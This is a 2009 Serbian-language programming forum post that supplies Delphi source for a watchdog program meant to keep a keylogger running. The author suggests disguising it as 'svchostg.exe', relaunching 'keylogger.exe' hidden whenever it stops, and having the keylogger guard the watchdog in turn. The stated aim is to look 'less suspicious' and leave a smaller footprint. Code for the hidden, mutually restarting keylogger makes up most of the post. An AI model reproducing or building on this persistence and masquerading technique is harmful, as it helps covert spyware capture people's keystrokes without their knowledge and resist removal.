@Senaid_Backo
Almedin, je dobro razumeo ono sto sam ja mislio. Veoma interesantan primer.
Koji mi je dao jednu malu ideju za slican ali manje upadljivo resenje.
Eto napravis mali rezidentni programcic (svchostg.exe) koji ce pratiti keylogger.exe pa ko ga nema neka ga startuje:
Code:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ShellAPI;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
// Ova procedura ce reagovati na system Timer.
procedure WmAppCommand(var MyMess: TMessage);message WM_TIMER;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.WmAppCommand(var MyMess: TMessage);
begin
If FindWindow('TForm1','Keylogger') > 0 then
Exit
else
begin
ShellExecute(0,'open', 'keylogger.exe','',PChar(ExtractFilePath(Application.ExeName)),SW_HIDE);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
// Promenimo Caption od Aplikacije tako da bude prepoznatljiv
Form1.Caption := 'Guardian Started';
// Napravimo WinAPi timer
SetTimer(Self.Handle,1,1000,nil);
end;
end.
Isto to uradi i u KeyLogger-u tako da prati Guardian
Code:
If FindWindow('TForm1','Guardian Started') > 0 then
Pazi da kada normalno izlazis iz Keyloggera da posalje guardianu komandu da se zatvori jer bi u slucaju
Code:
PostMessage(Findwindow('TForm1','Guardian Started'), WM_CLOSE, 0, 0);
Izvini sto te forsiram da koristis WinAPI ali tako ces biti manje sumljiv tj. Programi ce ti imati manji Footprint (CPU/MEM) a i WinAPI ce ti koristiti u svakom slucaju posto je skoro isti u svim jezicima. Ali pogledaj Help -> Windows SDK i potrazi funkcije koje sam koristio.
BTW Sto se tice profi linkova, to i nije istina samo sam ti dao malo štiva za ucenje tj. da vidis kako se to resava na drugi nacin iliti kako to windows izmedju sebe resava i kako ce verovatno u buducnosti resavati. I Vista i Win 7 nisu izuzeci cak stavise dodaju samo nove stvari na isti princip.
I Opet ja u 05:15 Odgovaram :(
[Ovu poruku je menjao Peke dana 02.03.2009. u 05:50 GMT+1]